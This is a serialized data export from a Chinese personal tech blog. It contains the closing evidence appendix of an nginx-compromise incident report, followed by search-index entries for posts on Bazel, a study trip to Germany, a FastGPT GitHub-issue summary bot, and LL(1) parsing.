",[46,1571,1572],{},"\u002Fusr\u002Flib\u002Fsystemd\u002Fsystem\u002F",[293,1574,1527,1575],{},[46,1576,1535],{},[293,1578,1579,1580],{},"宿主机或容器内 ",[46,1581,493],{},[293,1583,1527,1584,1587],{},[46,1585,1586],{},"journalctl"," 导出",[293,1589,1590],{},"Docker\u002Fcontainerd 容器元数据与镜像历史",[293,1592,1593],{},"容器文件系统 diff",[293,1595,1596,1598],{},[46,1597,1520],{}," 上游应用代码与运行日志",[293,1600,1601],{},"反向代理前后的访问日志与 WAF\u002FCDN 日志",[224,1603,1605],{"id":1604},"附录可直接引用的核心证据","附录：可直接引用的核心证据",[319,1607,1608,1622,1637,1647,1662,1671],{},[293,1609,1610,1612],{},[46,1611,382],{},[319,1613,1614],{},[293,1615,1616,1617,1569,1619,1621],{},"证明现场运行的 ",[46,1618,254],{},[46,1620,516],{}," 样本路径和哈希",[293,1623,1624,1626],{},[46,1625,397],{},[319,1627,1628],{},[293,1629,1630,1631,1633,1634,1636],{},"证明 ",[46,1632,254],{}," 由 ",[46,1635,705],{}," 拉起，运行于容器环境",[293,1638,1639,1642],{},[46,1640,1641],{},"nginx-incident\u002Fetc-nginx-copy\u002Fnginx.conf",[319,1643,1644],{},[293,1645,1646],{},"证明正常配置层未显式加载恶意模块",[293,1648,1649,1652],{},[46,1650,1651],{},"nginx-incident\u002Fetc-nginx-copy\u002Fconf.d\u002Fai.conf",[319,1653,1654],{},[293,1655,1630,1656,1659,1660],{},[46,1657,1658],{},"ai.f1nley.xyz"," 反代到 ",[46,1661,1520],{},[293,1663,1664,1666],{},[46,1665,1084],{},[319,1667,1668],{},[293,1669,1670],{},"证明宿主机存在高风险伪装服务",[293,1672,1673,1675],{},[46,1674,920],{},[319,1676,1677],{},[293,1678,1679],{},"证明宿主机存在高风险伪装自启动链接",[1681,1682,1683],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}html pre.shiki code .sPKdQ, html code.shiki .sPKdQ{--shiki-default:#DF8E1D;--shiki-dark:#EED49F;--shiki-light:#DF8E1D}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .soSG-, html code.shiki .soSG-{--shiki-default:#1E66F5;--shiki-dark:#8AADF4;--shiki-light:#1E66F5}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}",{"title":44,"searchDepth":66,"depth":66,"links":1685},[1686,1690,1691,1692,1693,1700],{"id":27,"depth":66,"text":27,"children":1687},[1688,1689],{"id":226,"depth":78,"text":227},{"id":233,"depth":78,"text":233},{"id":282,"depth":66,"text":282},{"id":288,"depth":66,"text":288},{"id":307,"depth":66,"text":307},{"id":316,"depth":66,"text":317,"children":1694},[1695,1696,1697,1698,1699],{"id":350,"depth":78,"text":350},{"id":372,"depth":78,"text":372},{"id":438,"depth":78,"text":438},{"id":1024,"depth":78,"text":1024},{"id":1067,"depth":78,"text":1067},{"id":1153,"depth":66,"text":1154,"children":1701},[1702,1703,1704,1705,1706,1707],{"id":1275,"depth":78,"text":1276},{"id":1393,"depth":78,"text":1393},{"id":1418,"depth":78,"text":1418},{"id":1476,"depth":78,"text":1476},{"id":1557,"depth":78,"text":1557},{"id":1604,"depth":78,"text":1605},"2026-05-09","md","zh",{},"\u002Fblog\u002Flog-an-nginx-replacement-attack",{"title":5,"description":16},"blog\u002Flog-an-nginx-replacement-attack",[1716],"security",null,"3hbdUau7ETpiuQc8DrXS7nsgw6g7cOX78kpYrOqK4Tk",[1720,1725,1729,1734,1739,1744,1748,1753,1758,1763,1768,1773,1777,1782,1786,1791,1796,1801,1806,1811,1815,1820,1825,1830,1833,1838,1842,1847,1852,1857,1861,1866,1871,1876,1880,1885,1890,1895,1900,1905,1910,1915,1920,1925,1930,1934,1937,1942,1947,1952,1957,1962,1967,1972,1977,1982,1986,1991,1996,1999,2004,2009,2014,2019,2024,2029,2034,2039,2044,2049,2054,2058,2061,2066,2071,2076,2081,2086,2091,2096,2101,2106,2111,2116,2121,2126,2131,2135,2140,2145,2150,2155,2160,2165,2170,2175,2180,2185,2190,2195,2198,2202,2207,2212,2217,2222,2227,2230,2235,2240,2244,2248,2253,2258,2262,2266,2271,2276,2281,2286,2291,2295,2298,2303,2308,2313,2318,2323,2328,2333,2338,2343,2348,2353,2358,2362,2367,2372,2376,2381,2386,2390,2395,2400,2405,2410,2413,2418,2423,2428,2433,2437,2442,2447,2452,2457,2462,2467,2472,2475,2480,2485,2490,2494,2498,2503,2508,2513,2515,2518,2522,2525,2529,2532,2536,2539,2543,2547,2551,2554,2559,2563,2568,2572,2576,2581,2586,2591,2595,2600,2605,2609,2613,2617,2620,2624,2628,2632,2636,2640,2644,2647,2651,2655,2659,2663,2667,2672,2676,2681,2686,2691,2695,2700,2705,2710,2714,2719,2723,2728,2733,2738,2743,2746,2751,2755,2759,2764,2769,2774,2779,2784,2789,2793,2797,2800,2805,2810,2815,2820,2825,2830,2835,2839,2844,2849,2854,2859,2863,2866,2871,2876,2881,2886,2891,2896,2901,2906,2911,2916,2921,2926,2930,2935,2940,2945,2950,2955,2960],{"id":1721,"title":1722,"titles":1723,"content":1724,"level":52},"\u002Fblog\u002Fbazel-simple-intro","Bazel 简略介绍",[],"为什么要用到这个奇怪的东西呢？\n原因是要写 cpp 的课程设计，题目是一个简单的用户管理系统。\n但是可以在这个基础上拓展。\n很多同学选择了老师推荐的 Qt 框架",{"id":1726,"title":1722,"titles":1727,"content":1728,"level":52},"\u002Fblog\u002Fbazel-simple-intro#bazel-简略介绍",[],"为什么要用到这个奇怪的东西呢？\n原因是要写 cpp 的课程设计，题目是一个简单的用户管理系统。\n但是可以在这个基础上拓展。\n很多同学选择了老师推荐的 Qt 框架 但是 Qt 毕竟和我已有的知识相去甚远（而且也是古代的东西） 思来想去可以通过 grpc 框架生成 cpp server 代码（实际上还是参考了不少资料）\nGUI 则通过现代化的 flutter 框架实现。 cpp 引入 grpc，据 grpc github 官方 repo 中的说法，他们团队使用的构建工具就是 bazel 于是决定干脆学一下这个奇怪的东西。 为什么不学 cmake 呢？因为笔者认为 cmake 也是古代的技术，既然都要学，为什么不学新的技术？对于 Qt 也同理。",{"id":1730,"title":1731,"titles":1732,"content":1733,"level":66},"\u002Fblog\u002Fbazel-simple-intro#什么是-bazel","什么是 Bazel",[1722],"Bazel: Google 开发的与 make, maven 等类似的\n开源的构建和测试工具。 使用 Bazel 的项目结构是很简单的 项目的根目录由 WORKSPACE 文件标识，\n这个文件通过也担任 bazel 的项目设置的功能。 分支子目录则由 BUILD 文件标识。 需要注意的是上述的两个文件，都使用 Starlark Language Starlark Language 实际上是 Python 的一个方言，但是实际上不用管这么多。。\n更多请参考：GitHub - bazelbuild\u002Fstarlark: Starlark Language 也可以参考笔者的 cpp 课设项目：GitHub - FinleyGe\u002Fcpp-curriculum-design-employee: Cpp Curriculum Design: employee management",{"id":1735,"title":1736,"titles":1737,"content":1738,"level":78},"\u002Fblog\u002Fbazel-simple-intro#build","BUILD",[1722,1731],"一般只有两种: cc_library(\n    name = \"name\",\n    srcs = [],\n    hdrs = [],\n    deps = [],\n)\n\ncc_binary (\n    name = \"name\",\n    srcs = [],\n    hdrs = [],\n    deps = [],\n) library 顾名思义是只产生中间文件，binary 则是生成二进制可执行文件。",{"id":1740,"title":1741,"titles":1742,"content":1743,"level":78},"\u002Fblog\u002Fbazel-simple-intro#workspace","WORKSPACE",[1722,1731],"workspace 应该很少需要自己写，需要引入第三方依赖的时候才需要进行修改。 例如： load(\"@bazel_tools\u002F\u002Ftools\u002Fbuild_defs\u002Frepo:http.bzl\", \"http_archive\") # 导入 http_archive\nhttp_archive(\n    name = \"hedron_compile_commands\",\n    url = \"https:\u002F\u002Fgithub.com\u002Fhedronvision\u002Fbazel-compile-commands-extractor\u002Farchive\u002Fed994039a951b736091776d677f324b3903ef939.tar.gz\",\n    strip_prefix = \"bazel-compile-commands-extractor-ed994039a951b736091776d677f324b3903ef939\",\n)\nload(\"@hedron_compile_commands\u002F\u002F:workspace_setup.bzl\", \"hedron_compile_commands_setup\")\nhedron_compile_commands_setup() http_archive 可以引入特定版本的第三方依赖，注意到 hash 部分实际上为 github 的 commit 的 hash.",{"id":1745,"title":1746,"titles":1747,"content":44,"level":66},"\u002Fblog\u002Fbazel-simple-intro#遇到的问题","遇到的问题",[1722],{"id":1749,"title":1750,"titles":1751,"content":1752,"level":78},"\u002Fblog\u002Fbazel-simple-intro#_1-include","1. #include",[1722,1746],"如果使用相对引用的方式，那么编译的时候就会出现找不到文件的问题。\n举个例子 例如有项目结构如下： .\u002Flib\u002Ftime.hpp\n.\u002Flib\u002Ftime.cpp\n.\u002Flib\u002FBUILD\n.\u002Fsrc\u002Ftest.cpp\n.\u002Fsrc\u002FBUILD\n.\u002FWORKSPACE 其中 test.cpp ，如果正常通过相对引用的方式： #indluce \"..\u002Flib\u002Fheader.hpp\" 而使用了 bazel，则需要修改成 #include \"lib\u002Fheader.hpp\" 但是此时 lsp 服务器就会傻掉，需要在 WORKSPACE 中引入 http_archive(\n    name = \"hedron_compile_commands\",\n    url = \"https:\u002F\u002Fgithub.com\u002Fhedronvision\u002Fbazel-compile-commands-extractor\u002Farchive\u002Fed994039a951b736091776d677f324b3903ef939.tar.gz\",\n    strip_prefix = \"bazel-compile-commands-extractor-ed994039a951b736091776d677f324b3903ef939\",\n)\nload(\"@hedron_compile_commands\u002F\u002F:workspace_setup.bzl\", \"hedron_compile_commands_setup\")\nhedron_compile_commands_setup() 然后使用命令 bazel run @hedron_compile_commands\u002F\u002F:refresh_all 本质上这将生成包括.gitignore在内的给 clangd 等 lsp-server 参考的配置文件。 参考：GitHub - hedronvision\u002Fbazel-compile-commands-extractor: Goal: Enable awesome tooling for Bazel users of the C language family.",{"id":1754,"title":1755,"titles":1756,"content":1757,"level":78},"\u002Fblog\u002Fbazel-simple-intro#_2-引入-grpc","2. 引入 grpc",[1722,1746],"毕竟 grpc 也是 google 全家桶的一环，想到引入之或许是相对简单的。\n但是实际上也花了笔者相当大的力气。 在.proto所在目录的BUILD中写入 package(default_visibility = [\"\u002F\u002Fvisibility:public\"]) # 全局可见\n\nload(\"@rules_proto\u002F\u002Fproto:defs.bzl\",\n\"proto_library\")\nload(\"@com_github_grpc_grpc\u002F\u002Fbazel:cc_grpc_library.bzl\",\n\"cc_grpc_library\")\nload(\"@com_github_grpc_grpc\u002F\u002Fbazel:grpc_build_system.bzl\",\n\"grpc_proto_library\")\n\ngrpc_proto_library(\nname = \"api\",\nsrcs = [\"api.proto\"],\n) # 这里需要手动修改 在引用了 grpc 生成的代码的 BUILD 文件写入 cc_binary (\n  name = \"server\",\n  srcs = [\"server.cpp\"],\n  deps = [\n    \"\u002F\u002Fapi:api\", # 你的api\n    \"@com_github_grpc_grpc\u002F\u002F:grpc++\",\n    \"@com_github_grpc_grpc\u002F\u002F:grpc++_reflection\",\n    # 还有其他deps\n  ],\n) WORKSPACE中写入 http_archive(\n    name = \"com_github_grpc_grpc\",\n    urls = [\n        \"https:\u002F\u002Fgithub.com\u002Fgrpc\u002Fgrpc\u002Farchive\u002F51a1f3ca034a30749ae9271d330f39af5fa4261a.tar.gz\",\n    ],\n    strip_prefix = \"grpc-51a1f3ca034a30749ae9271d330f39af5fa4261a\",\n)\n\nload(\"@com_github_grpc_grpc\u002F\u002Fbazel:grpc_deps.bzl\", \"grpc_deps\")\ngrpc_deps()\nload(\"@com_github_grpc_grpc\u002F\u002Fbazel:grpc_extra_deps.bzl\", \"grpc_extra_deps\")\ngrpc_extra_deps()",{"id":1759,"title":1760,"titles":1761,"content":1762,"level":78},"\u002Fblog\u002Fbazel-simple-intro#_3-无法编译","3. 无法编译",[1722,1746],"前一天还可以编译运行的代码第二天就编译不了了 ，什么问题呢？ 报的奇怪的错undeclared inclusion(s) 在 StackOverflow上找到了解决方法，删除 bazel 的所有缓存 这应当是一个很多问题通用的解决方法。 rm -rf ~\u002F.cache\u002Fbazel 参考\nc++ - bazel \"undeclared inclusion(s)\" errors after updating gcc - Stack Overflow",{"id":1764,"title":1765,"titles":1766,"content":1767,"level":78},"\u002Fblog\u002Fbazel-simple-intro#_4-需要使用-c14","4. 需要使用 C++14 ?",[1722,1746],"build --action_env=BAZEL_CXXOPTS=\"-std=c++14\" html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}",{"id":1769,"title":1770,"titles":1771,"content":1772,"level":52},"\u002Fblog\u002Fbefore-leaving-germany","写在离开德国之前",[],"今年八月我参加了我校的游学项目。\n项目分为两部分，前半个月参观了欧洲德国、比利时、意大利、奥地利、捷克、斯洛文尼亚等国的几个城市。\n后一部分是在亚琛工业大学进行的 Python 有关的课程，也有一些校方安排的活动。",{"id":1774,"title":1770,"titles":1775,"content":1776,"level":52},"\u002Fblog\u002Fbefore-leaving-germany#写在离开德国之前",[],"今年八月我参加了我校的游学项目。\n项目分为两部分，前半个月参观了欧洲德国、比利时、意大利、奥地利、捷克、斯洛文尼亚等国的几个城市。\n后一部分是在亚琛工业大学进行的 Python 有关的课程，也有一些校方安排的活动。 本文写在即将离开亚琛，即将结束这段行程前，对我，半个也到一个月在德国“准生活”的一个回顾。",{"id":1778,"title":1779,"titles":1780,"content":1781,"level":66},"\u002Fblog\u002Fbefore-leaving-germany#气候","气候",[1770],"最直接的感受是气候：德国的气候整体偏凉爽，个人感觉是很舒服的，确实不需要安装空调。甚至入秋以后，晚上睡觉会感觉到冷，在最后这几天（八月份下旬）我每天的服装已经是必须要穿衬衫的了。 德国的雨水很大，雨水来的快去的快，雨过后天晴很快。\n雨伞在德国是必需品。 所以在这边，风衣、夹克等是很常见并且很实用的。 德国的纬度高，日照时间很长，夏天九点天才会大黑。不过德国人基本上很少有夜生活，晚上在外面基本上没多少人。",{"id":1783,"title":1784,"titles":1785,"content":44,"level":66},"\u002Fblog\u002Fbefore-leaving-germany#生活","生活",[1770],{"id":1787,"title":1788,"titles":1789,"content":1790,"level":78},"\u002Fblog\u002Fbefore-leaving-germany#公共交通","公共交通",[1770,1784],"在亚琛，公共交通相当发达。\n公交车可以坐到任何一个地方。\n公交车上也很少有拥挤的情况， 说一个细节：公交车上有划定给婴儿车和轮椅放置的位置，\n除此之外德国的公交车可以向右边倾斜，以便于婴儿车、轮椅等上下。\n我亲眼所见的是一个妈妈推着两个婴儿车坐公交。",{"id":1792,"title":1793,"titles":1794,"content":1795,"level":78},"\u002Fblog\u002Fbefore-leaving-germany#饮食","饮食",[1770,1784],"饮食其实每个人有每个人的主观感受，我个人的感受是完全能适应西餐。 德国的肉类、奶制品的质量比国内要高。香肠、肉饼、各种奶酪、各种酸奶。 欧洲的早餐似乎都很统一：各种面包+各种香肠+各种酸奶+咖啡\u002F茶 等等\n我觉得我是能吃得惯的：我在这边的早餐一般都是两个欧包或者是一个欧包+两片面包，再加 n 杯果汁，一碗酸奶，一杯咖啡。\n欧包我会从中间破开，夹入 2、3 片不同的香肠，夹入一点奶酪，还有一片芝士片。 德国香肠很棒，德国的猪排等等也很棒。\n本人滴酒不沾，所以无法对德国啤酒做出评价。 吃饭的价格很便宜，一顿很好的餐（例如一个猪排、沙拉、薯条，再配一杯可乐）最多 10 欧。\n实际上我最喜欢的 Döner Sandwich 或者是 Döner Wrap 只需要 6，7 欧（就能吃饱）^1在大学食堂就更便宜了。 1:FYI, 德国最低时薪 13€",{"id":1797,"title":1798,"titles":1799,"content":1800,"level":78},"\u002Fblog\u002Fbefore-leaving-germany#楼层","楼层",[1770,1784],"这个标题似乎看起来很奇怪，\n不过德国这边的楼大多数都是从 0 层开始计数的，和国内不同。",{"id":1802,"title":1803,"titles":1804,"content":1805,"level":78},"\u002Fblog\u002Fbefore-leaving-germany#支付","支付",[1770,1784],"很少有地方只收现金，但是还是有的。\n来德国不管是旅行还是留学必须要有的一样东西就是钱包：而且有可以装零钱的夹层的钱包\n因为欧元 5 元以下是没有纸币只有硬币的。",{"id":1807,"title":1808,"titles":1809,"content":1810,"level":66},"\u002Fblog\u002Fbefore-leaving-germany#rwth","RWTH",[1770],"亚琛工业大学，实际上叫 RWTH （Rheinisch-Westfälische Technische Hochschule）\nRW 似乎是莱茵-威斯特法伦， T 就是工业\u002F技术\nHochschule 是高度学院， 可以感受到的是这里的华人留学生很多，\n在市中心的学校旁边，有连续好几家中餐馆，\n我去吃的时候里面坐满了中国人。",{"id":1812,"title":1813,"titles":1814,"content":44,"level":66},"\u002Fblog\u002Fbefore-leaving-germany#德国人","德国人",[1770],{"id":1816,"title":1817,"titles":1818,"content":1819,"level":78},"\u002Fblog\u002Fbefore-leaving-germany#印象深刻的德国人","印象深刻的德国人",[1770,1813],"在亚琛主火车站(Aachen Hauptbahnhof) 旁边的一家 Döner Haus，\n里面有个很可爱的大叔，留着一字胡，打破了对德国人不懂幽默的刻板印象。 第一次进去点单，点了一个 Döner Sandwich，大叔用不知道什么语言（很可能是德语）问我要什么酱料，指着辣酱做了一个手舞足蹈的表情，很可爱。 这个大叔的和其他人交流的时候，面部表情也相当丰富，工作的热情也很高。",{"id":1821,"title":1822,"titles":1823,"content":1824,"level":78},"\u002Fblog\u002Fbefore-leaving-germany#交流","交流",[1770,1813],"其实感觉德国人的英语并没有很好，但是最基本的交流一般没问题，\n在德国的超市买东西，收银员基本上会说英语。 上课的老师的口音很差，很多单词的发音还是按照德语来的，听起来很别扭。\n如果想要在这里留学，我想德语是必不可少的能力。",{"id":1826,"title":1827,"titles":1828,"content":1829,"level":52},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt","使用 FastGPT 构建一个 Github issue 总结机器人",[],"由于提 Issue 的开发者\u002F用户很多，\n我们希望有一个每天可以自动总结 issue 的机器人，\n并自动发送结果到飞书群中，\n这样可以快速浏览最近的问题和需求。",{"id":1831,"title":1827,"titles":1832,"content":1829,"level":52},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt#使用-fastgpt-构建一个-github-issue-总结机器人",[],{"id":1834,"title":1835,"titles":1836,"content":1837,"level":66},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt#github-issue-接口","Github issue 接口",[1827],"https:\u002F\u002Fapi.github.com\u002Frepos\u002F{owner}\u002F{repo}\u002Fissues Github 提供上述的接口获取某个 repo 的 issue 默认筛选的是最近的 30 条 issues https:\u002F\u002Fdocs.github.com\u002Fzh\u002Frest\u002Fissues\u002Fissues?apiVersion=2022-11-28#list-repository-issues参考 Github 的 API 文档以获得更多的信息",{"id":1839,"title":1840,"titles":1841,"content":44,"level":66},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt#工作流搭建过程","工作流搭建过程",[1827],{"id":1843,"title":1844,"titles":1845,"content":1846,"level":78},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt#_1-构造请求","1. 构造请求",[1827,1840],"获取昨天的日期 function main() {\n  const date = new Date();\n  date.setDate(date.getDate() - 1);\n  const day = date.getDate();\n  const month = date.getMonth() + 1;\n  const year = date.getFullYear();\n  const hours = date.getHours();\n  const minutes = date.getMinutes();\n\n  return {\n    date: `${year}-${month}-${day}T${hours}:${minutes}:000Z`,\n  };\n} 构造请求并通过 Http 请求模块进行请求",{"id":1848,"title":1849,"titles":1850,"content":1851,"level":78},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt#_2-请求处理","2. 请求处理",[1827,1840],"原始响应是一个 JSON 字符串，将字符串进行 parse 后进行处理 function main({ res }) {\n  const issues = JSON.parse(res);\n  const ret = [];\n  for (const issue of issues) {\n    if (issue.pull_request) continue;\n    ret.push({\n      title: issue.title,\n      body: issue.body,\n      url: issue.html_url,\n    });\n  }\n\n  return {\n    ret: JSON.stringify(ret),\n  };\n} 由于 issue 接口会将 pull_request 也视为 issue 。只能在代码里面过滤",{"id":1853,"title":1854,"titles":1855,"content":1856,"level":78},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt#_3-调用大模型进行总结输出","3. 调用大模型进行总结输出",[1827,1840],"提示词如下： 你是一个 Github Issue 的总结机器人。\n\n## 任务\n\n根据输入的多条 issue 信息， 总结其提出的问题， 并用中文输出。\n\n## 输入格式：\n\n输入的内容为一个 JSON 格式的数组， 其中 title 表示标题，\nbody 表示内容， url 表示跳转的 url\n\n## 输出格式\n\n总结内容后需要以 markdown 连接格式输出该条总结的来源 issue 。\n你应该使用中文进行输出。\n例如:\n\n**1. 某某问题**\n这个问题出现在某某处。\n来源:\n\n- [issue 标题](url)\n- [issue 标题 2](url2)",{"id":1858,"title":1859,"titles":1860,"content":44,"level":78},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt#_4-飞书-webhook-设置","4. 飞书 webhook 设置",[1827,1840],{"id":1862,"title":1863,"titles":1864,"content":1865,"level":78},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt#_5-飞书机器人设置","5. 飞书机器人设置",[1827,1840],"在 botbuilder.feishu.cn 构建机器人应用\u002F流程",{"id":1867,"title":1868,"titles":1869,"content":1870,"level":66},"\u002Fblog\u002Fbuild-github-issue-conclusion-bot-by-fastgpt#效果","效果",[1827],"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .sxu-A, html code.shiki .sxu-A{--shiki-default:#8839EF;--shiki-default-font-weight:bold;--shiki-dark:#C6A0F6;--shiki-dark-font-weight:bold;--shiki-light:#8839EF;--shiki-light-font-weight:bold}html pre.shiki code .sysvw, html code.shiki .sysvw{--shiki-default:#FE640B;--shiki-dark:#F5A97F;--shiki-light:#FE640B}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}html pre.shiki code .sXaTj, html code.shiki .sXaTj{--shiki-default:#E64553;--shiki-default-font-style:italic;--shiki-dark:#EE99A0;--shiki-dark-font-style:italic;--shiki-light:#E64553;--shiki-light-font-style:italic}",{"id":1872,"title":1873,"titles":1874,"content":1875,"level":52},"\u002Fblog\u002Fcompile-grammar-analysis","编译原理（二）：语法分析",[],"进行语法分析后得到了 token 流，对 token 流进行分析以得到语法树的过程是语法分析。\n语法分析分为两种：",{"id":1877,"title":1873,"titles":1878,"content":1879,"level":52},"\u002Fblog\u002Fcompile-grammar-analysis#编译原理二语法分析",[],"进行语法分析后得到了 token 流，对 token 流进行分析以得到语法树的过程是语法分析。\n语法分析分为两种： 自顶向下的语法分析自低向上的语法分析 这个方向的定义是来源于树的产生方式。",{"id":1881,"title":1882,"titles":1883,"content":1884,"level":66},"\u002Fblog\u002Fcompile-grammar-analysis#context-free-grammar","Context-free Grammar",[1873],"使用上下文无关语法进行语法定义。 S -> a | b | c 非终结符产生（推导到）终结符。",{"id":1886,"title":1887,"titles":1888,"content":1889,"level":78},"\u002Fblog\u002Fcompile-grammar-analysis#二义性","二义性",[1873,1882],"一个文法可以产生多棵分析树，则为二义性文法。\n例如 悬空 else 问题: 有语法: S -> if C then S\n| if C then S else S\n| id := E\nC -> E = E | E \u003C E | E > E\nE -> E + E | E - E | id if x\u003C3 then\n    if x>0 then\n        x:=5\nelse x:=-5 \u002F\u002F 这个 `else` 是哪个 if 的 else ? 消二意义性： S -> MS | UMS\nMS -> if C then MS else MS\n    | id := E\nUMS -> if C then S |\n    if C then MS else UMS\n\u002F\u002F 其他的一样",{"id":1891,"title":1892,"titles":1893,"content":1894,"level":66},"\u002Fblog\u002Fcompile-grammar-analysis#自顶向下语法分析","自顶向下语法分析",[1873],"从起始符号开始挑选合适的产生式，从而推导出句子\n如果能顺利推导出，则说明符合语法规则，选择的产生式则可以绘制出语法树。",{"id":1896,"title":1897,"titles":1898,"content":1899,"level":78},"\u002Fblog\u002Fcompile-grammar-analysis#ll1","LL(1)",[1873,1892],"从左（L）向右读入一个程序，最左（L）推导，采用一个（1）前看符号 使用分析表 进行分析（避免回溯） FIRST（\\alpha）：\\alpha中所有的终结符集，可能为 \\varepsilonFOLLOW(A)：非终结符 A 后紧跟的终结符SELECT(A \\to \\alpha)\n若 \\alpha\\neq \\varepsilon，且\\alpha \\not\\implies^+ \\varepsilon则为 FIRST(\\alpha)若 \\alpha \\neq \\varepsilon且 \\alpha \\implies^+ \\varepsilon则为 FIRST(\\alpha) \\cup FOLLOW(A)若 \\alpha = \\alpha 则 FOLLOW(A) 分析表是一个二维数组 M[A，a]，其中 A 表示行，是非终结符，a 表式列是终结符或 # M[A，a] 中若有产生式，表明 A 可用该产生式推导，以求与输入符号 a 匹配。M[A，a] 中若为空，表明 A 不可能推导出与 a 匹配的字符串 构造表格： 若 \\alpha ∈SELECT(A \\to \\alpha)，则把 A→α 加至 MA, 